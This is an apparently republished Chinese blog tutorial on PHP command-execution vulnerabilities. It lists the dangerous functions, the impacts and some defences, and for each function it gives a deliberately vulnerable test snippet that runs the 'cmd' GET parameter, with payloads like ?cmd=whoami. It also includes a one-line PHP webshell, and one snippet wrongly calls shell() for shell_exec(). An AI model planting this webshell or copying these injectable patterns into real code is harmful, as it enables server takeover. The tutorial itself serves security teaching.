php网络安全中命令执行漏洞的产生及本质探究
作者:Thunderclap_ 发布时间:2023-05-30 05:34:31
漏洞的产生原因
代码层过滤不严。应用程序直接或间接使用了动态执行命令的危险函数,并且这个函数的运行参数是可控的
系统的漏洞造成命令注入
漏洞的本质
应用有时需要调用一些执行系统命令的函数,当服务器没有严格过滤用户提供的参数时,就有可能导致用户提交恶意代码被服务器执行,从而造成命令执行漏洞。
涉及到的函数
1.system
2.exec()
3.shell_exec()
4.passthru()
5.popen()
6.反引号
命令执行漏洞的危害
1.继承Web 服务器程序权限(Web用户权限),去执行系统命令
2.继承Web服务器权限,读写文件
3.反弹Shell
4.控制整个网站
5.控制整个服务器
命令执行漏洞的防御
1、尽量少使用执行命令函数或者禁用disable_functions
2、在进入执行命令的函数之前,对参数进行过滤,对敏感字符进行转义
3、参数值尽量使用引号包括,并在拼接前调用addslashes进行转义
命令执行相关函数的使用
system()
说明:能够将字符串作为OS命令执行,自带输出功能
测试参考代码:
<?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
payload:?cmd=ipconfig
exec()
说明:能将字符串作为OS命令执行,但无输出,需要输出执行结果print。
exec() 默认只输出最后一行的数据
如果想让他输出全部结果,可以加一个参数,即exec(ifconfig,$arr); print_r($arr);,如一句话木马:<?php exec($_REQUEST[123],$arr);print_r($arr)?>
测试参考代码
<?php
if(isset($_GET['cmd'])){
print exec($_GET['cmd']);
}
?>
payload:?cmd=whoami
shell_exec()
说明:执行命令并以字符串的形式,返回完整的信息,但是函数无回显,需要输出执行结果。
测试参考代码
<?php
if(isset($_GET['cmd'])){
print shell($_GET['cmd']);
}
?>
payload:?cmd=whoami
passthru()
说明:执行外部命令,与system()类似,但是该函数会直接将结果输出,无需输出执行。
测试参考代码
<?php
if(isset($_GET['cmd'])){
passthru($_GET['cmd']);
}
?>
payload:?cmd=whoami
popen()
说明:能够执行OS命令,但是该函数并不是返回命令结果,而是返回一个文件指针
测试参考代码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'].">>1.txt";
popen($cmd,'r');
}
?>
payload:?cmd=whoami
反引号
说明:反引号[``]内的字符串,也会被解析成OS命令
反引号背后执行的代码其实是调用了shell_exec(),所以禁用了shell_exec()同样反引号也无法使用了。
测试参考代码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `$cmd`;
}
?>
payload:?cmd=whoami
来源:https://blog.csdn.net/Thunderclap_/article/details/129159483


猜你喜欢
- 尽量避免使用DOM。当需要反复使用DOM时,先把对DOM的引用存到JavaScript本地变量里再使用。使用设置innerHTML的方法来替
- 在pycharm中设置python脚本的文件模板,让文件创建的时候就自动写上一些相关信息:1、进入pycharm的File->sett
- 前言这篇文章主要是就在公司实习的时候,对SQL优化工作作出的一些整理。在公司实习的时候,导师分配了SQL慢查询优化的任务,任务是这样的:每周
- 迭代数组NumPy中引入了 nditer 对象来提供一种对于数组元素的访问方式。一、单数组迭代1. 使用 nditer 访问数组的每个元素&
- 朋友需要一个工具,将图片中的文字提取出来。我帮他在网上找了一些OCR的应用,都不好用。所以准备自己研究,写一个Web APP供他使用。OCR
- 前言:本博客只是因为我正在上计算机图形学这门课,为了方便复习所写,所以内容的正确性不敢保证,各位观看之前请三思(欢迎大佬提出建议)为VS20
- 对会读书的人来说,读一本书要做的第一件事,就是仔细阅读这本书的目录。阅读目录可以对整体内容有所了解,并清楚地知道感兴趣的部分在哪里,提高阅读
- 在pyqt5编程过程中,经常会遇到输入或选择多个参数的问题,把多个参数写到一个窗口中,主窗口会显得很臃肿,所以,一般是添加一个按钮,调用对话
- 一.安装python进入python官网,点击依次点击红色选中部分,开始下载。。。下载完成后,打开安装包,如下有两个选项,一个是立即安装,另
- 本文实例讲述了Python3.5 Pandas模块之DataFrame用法。分享给大家供大家参考,具体如下:1、DataFrame的创建(1
- #/usr/bin/env/python#coding=utf-8import sys,re,time,osmaxdata = 50000
- 本文实例讲述了Python实现的爬取小说爬虫功能。分享给大家供大家参考,具体如下:想把顶点小说网上的一篇持续更新的小说下下来,就写了一个简单
- 1. 介绍torch.norm()是对输入的tensor求对应的范数。tensor的范数有以下三种:1.1 p-范数1.2 Frobeniu
- psutil是一个跨平台的Python库,它允许你获取有关系统进程和系统资源使用情况的信息。它支持Windows、Linux、OS X、Fr
- 解决方法:1、找到mysql安装目录c:\Program Files\MySQL\MySQL Server 5.5下的my.ini2、修改一
- 前言Python中使用SSH需要用到OpenSSH,而OpenSSH依赖于paramiko模块,而paramiko模块又依赖于pycrypt
- 一、数据库操作1、创建model表基本结构:#coding:Utf8from django.db import modelsclass us
- 本文实例讲述了Python图像处理实现两幅图像合成一幅图像的方法。分享给大家供大家参考,具体如下:将两幅图像合成一幅图像,是图像处理中常用的
- 掩码数组数据很大形况下是凌乱的,并且含有空白的或者无法处理的字符,掩码式数组可以很好的忽略残缺的或者是无效的数据点。掩码式数组由一个正常数组
- 今天,在家试试django的model的设置,如何设置的联合主键,我经过查资料和实践,把结果记录如下:例如:class user(Model